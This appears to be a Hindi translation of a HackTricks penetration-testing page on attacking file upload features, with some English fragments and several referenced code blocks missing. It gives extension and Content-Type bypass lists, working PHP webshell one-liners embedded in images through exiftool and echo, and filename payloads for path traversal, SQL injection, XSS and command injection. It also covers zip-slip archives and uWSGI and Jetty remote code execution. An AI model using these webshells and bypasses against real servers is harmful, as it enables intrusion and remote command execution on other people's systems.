File Upload
Last updated
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
यदि आप हैकिंग करियर में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जाने की आवश्यकता है)।
अन्य उपयोगी एक्सटेंशन:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
PHPv8 में कार्यरत: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws वेब सर्वर: .yaws
यदि लागू हो, तो पिछले एक्सटेंशन की जांच करें। कुछ बड़े अक्षरों का उपयोग करके भी परीक्षण करें: pHp, .pHP5, .PhAr ...
कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें (पिछले एक्सटेंशन का भी उपयोग करें):
file.png.php
file.png.Php5
अंत में विशेष वर्ण जोड़ने का प्रयास करें। आप सभी ascii और Unicode वर्णों को bruteforce करने के लिए Burp का उपयोग कर सकते हैं। (ध्यान दें कि आप पिछले उल्लेखित एक्सटेंशन का उपयोग करने का प्रयास भी कर सकते हैं)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें जैसे कि डबलिंग एक्सटेंशन या जंक डेटा (null बाइट्स) को एक्सटेंशनों के बीच जोड़ना। आप बेहतर पेलोड तैयार करने के लिए पिछले एक्सटेंशन का भी उपयोग कर सकते हैं।
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
पिछले चेक के लिए एक और परत एक्सटेंशनों को जोड़ें:
file.png.jpg.php
file.php%00.png%00.jpg
मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यह उन Apache गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी है जहां किसी भी एक्सटेंशन** .php, लेकिन न कि आवश्यक रूप से .php** में समाप्त होने पर कोड निष्पादित होगा):
उदाहरण: file.php.png
Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS) का उपयोग करना। इस मामले में, एक कोलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “::$data” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना भी आगे की प्रतिबंधों को बायपास करने के लिए उपयोगी हो सकता है (जैसे “file.asp::$data.”)
फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
Content-Type जांच को बायपास करें Content-Type header के मान को सेट करके: image/png , text/plain , application/octet-stream
फ़ाइल की शुरुआत में एक वास्तविक छवि के बाइट्स को जोड़कर जादुई संख्या जांच को बायपास करें ( file कमांड को भ्रमित करें)। या मेटाडेटा के अंदर शेल पेश करें:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
या आप पेलोड को सीधे एक छवि में भी पेश कर सकते हैं:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
यदि आपकी छवि में संकुचन जोड़ा जा रहा है, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे PHP-GD, तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप PLTE खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संकुचन को सहन करेगा।
वेब पृष्ठ छवि का आकार बदलने के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस imagecopyresized
या imagecopyresampled
का उपयोग करके। हालाँकि, आप IDAT खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संकुचन को सहन करेगा।
एक और तकनीक जो एक पेलोड बनाने के लिए छवि के आकार बदलने को सहन करती है, वह है PHP-GD फ़ंक्शन thumbnailImage
का उपयोग करना। हालाँकि, आप tEXt खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संकुचन को सहन करेगा।
पहले से अपलोड की गई फ़ाइल का नाम बदलने के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
बैकडोर निष्पादित करने के लिए स्थानीय फ़ाइल समावेशन भेद्यता खोजें।
संभावित जानकारी का खुलासा:
एक ही फ़ाइल को कई बार (और एक ही समय में) एक ही नाम के साथ अपलोड करें।
एक फ़ाइल के नाम के साथ फ़ाइल अपलोड करें या फोल्डर जो पहले से मौजूद है।
“.”, “..”, या “…” के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Apache में Windows में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे “…:.jpg” NTFS में। (Windows)
Windows में अमान्य वर्णों के साथ फ़ाइल अपलोड करें जैसे |<>*?”
इसके नाम में। (Windows)
Windows में आरक्षित (निषिद्ध) नामों के साथ फ़ाइल अपलोड करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।
एक निष्पादन योग्य (.exe) या .html (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो कोड निष्पादित करेगा जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
यदि आप PHP सर्वर पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो कोड निष्पादित करने के लिए .htaccess ट्रिक पर एक नज़र डालें. यदि आप ASP सर्वर पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो कोड निष्पादित करने के लिए .config ट्रिक पर एक नज़र डालें.
.phar
फ़ाइलें जावा के लिए .jar
की तरह होती हैं, लेकिन PHP के लिए, और इन्हें PHP फ़ाइल की तरह उपयोग किया जा सकता है (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
.inc
एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को आयात करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है।
यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप RCE प्राप्त कर सकते हैं क्योंकि नई *.xml और *.war स्वचालित रूप से संसाधित होती हैं. इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को $JETTY_BASE/webapps/
में अपलोड करें और शेल की उम्मीद करें!
इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: uWSGI RCE शोषण.
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास .ini
कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग @(filename)
के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक .ini
कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
हानिकारक uwsgi.ini
फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
यह समझना महत्वपूर्ण है कि uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लापरवाह प्रकृति है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, संभावित शोषण के दायरे को और बढ़ाते हुए।
In some occasions you may find that a server is using wget
to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed.
फाइल नाम की अधिकतम लंबाई linux में 255 है, हालांकि, wget फ़ाइल नामों को 236 वर्णों तक संक्षिप्त करता है। आप "A"*232+".php"+".gif" नामक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइल नाम चेक को बायपास करेगा (जैसे कि इस उदाहरण में ".gif" एक मान्य एक्सटेंशन है) लेकिन wget
फ़ाइल का नाम "A"*232+".php" में रिनेम करेगा।
Note that एक और विकल्प जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget नए नाम के साथ रीडायरेक्ट की गई फ़ाइल को डाउनलोड कर ले। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names
के साथ उपयोग नहीं किया जा रहा है क्योंकि wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा।
Upload Bypass एक शक्तिशाली उपकरण है जिसे Pentesters और Bug Hunters को फ़ाइल अपलोड तंत्रों का परीक्षण करने में सहायता करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का लाभ उठाता है ताकि कमजोरियों की पहचान और शोषण की प्रक्रिया को सरल बनाया जा सके, जिससे वेब अनुप्रयोगों का गहन मूल्यांकन सुनिश्चित हो सके।
filename को ../../../tmp/lol.png
पर सेट करें और पथ यात्रा प्राप्त करने का प्रयास करें
filename को sleep(10)-- -.jpg
पर सेट करें और आप SQL इंजेक्शन प्राप्त करने में सक्षम हो सकते हैं
filename को <svg onload=alert(document.domain)>
पर सेट करें ताकि XSS प्राप्त किया जा सके
filename को ; sleep 10;
पर सेट करें ताकि कुछ कमांड इंजेक्शन का परीक्षण किया जा सके (अधिक कमांड इंजेक्शन ट्रिक्स यहाँ)
JS फ़ाइल अपलोड + XSS = Service Workers शोषण
https://github.com/allanlw/svg-cheatsheet से विभिन्न svg पेलोड का प्रयास करें****
यदि आप वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं तो आप SSRF का शोषण करने का प्रयास कर सकते हैं। यदि यह इमेज किसी सार्वजनिक साइट पर सहेजी जा रही है, तो आप https://iplogger.org/invisible/ से एक URL भी इंगित कर सकते हैं और हर आगंतुक की जानकारी चुरा सकते हैं।
विशेष रूप से तैयार किए गए PDFs से XSS: निम्नलिखित पृष्ठ प्रस्तुत करता है कि कैसे PDF डेटा को इंजेक्ट करके JS निष्पादन प्राप्त करें। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
[eicar](https://secure.eicar.org/eicar.com.txt) सामग्री अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई एंटीवायरस है या नहीं
फ़ाइलें अपलोड करते समय यदि कोई आकार सीमा है तो जांचें
यहाँ शीर्ष 10 चीजों की सूची है जो आप अपलोड करके प्राप्त कर सकते हैं (से यहाँ):
ASP / ASPX / PHP5 / PHP / PHP3: वेबशेल / RCE
SVG: स्टोर की गई XSS / SSRF / XXE
GIF: स्टोर की गई XSS / SSRF
CSV: CSV इंजेक्शन
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
PNG / JPEG: पिक्सेल बाढ़ हमला (DoS)
ZIP: LFI / DoS के माध्यम से RCE
PDF / PPTX: SSRF / BLIND XXE
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
अन्य फ़ाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures को देखें।
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होने जा रहा है, तो आप 2 चीजें कर सकते हैं:
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण evilarc on GitHub पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
इसके अतिरिक्त, evilarc के साथ symlink ट्रिक एक विकल्प है। यदि उद्देश्य /flag.txt
जैसी फ़ाइल को लक्षित करना है, तो आपकी प्रणाली में उस फ़ाइल के लिए एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना नहीं करता है।
नीचे एक उदाहरण है Python कोड का जिसका उपयोग एक दुर्भावनापूर्ण zip फ़ाइल बनाने के लिए किया जाता है:
फाइल स्प्रेइंग के लिए संकुचन का दुरुपयोग
अधिक विवरण के लिए मूल पोस्ट देखें: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
PHP शेल बनाना: PHP कोड लिखा गया है जो $_REQUEST
वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित करता है।
फाइल स्प्रेइंग और संकुचित फाइल निर्माण: कई फाइलें बनाई जाती हैं और इन फाइलों को शामिल करते हुए एक ज़िप आर्काइव तैयार किया जाता है।
हेक्स संपादक या vi के साथ संशोधन: ज़िप के अंदर फाइलों के नामों को vi या हेक्स संपादक का उपयोग करके बदला जाता है, "xxA" को "../" में बदलकर निर्देशिकाओं को पार किया जाता है।
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि इस भेद्यता का लाभ उठाया जा सके (ImageMagick , 7.0.1-1) (फॉर्म एक्सप्लॉइट)
PNG फ़ाइल के IDAT भाग में PHP शेल एम्बेड करना कुछ इमेज प्रोसेसिंग ऑपरेशनों को प्रभावी ढंग से बायपास कर सकता है। PHP-GD से imagecopyresized
और imagecopyresampled
फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें क्रमशः इमेज को रिसाइज और रिसैंपल करने के लिए सामान्यतः उपयोग किया जाता है। एम्बेडेड PHP शेल की इन ऑपरेशनों से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: "PNG IDAT भागों में वेब शेल्स को एन्कोड करना"। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
अधिक जानकारी के लिए: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण GIFAR है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसी संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों की संरचनात्मक मानदंडों के अनुसार है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
अधिक जानकारी के लिए: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
यदि आप हैकिंग करियर में रुचि रखते हैं और अनहैक करने योग्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है)।
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)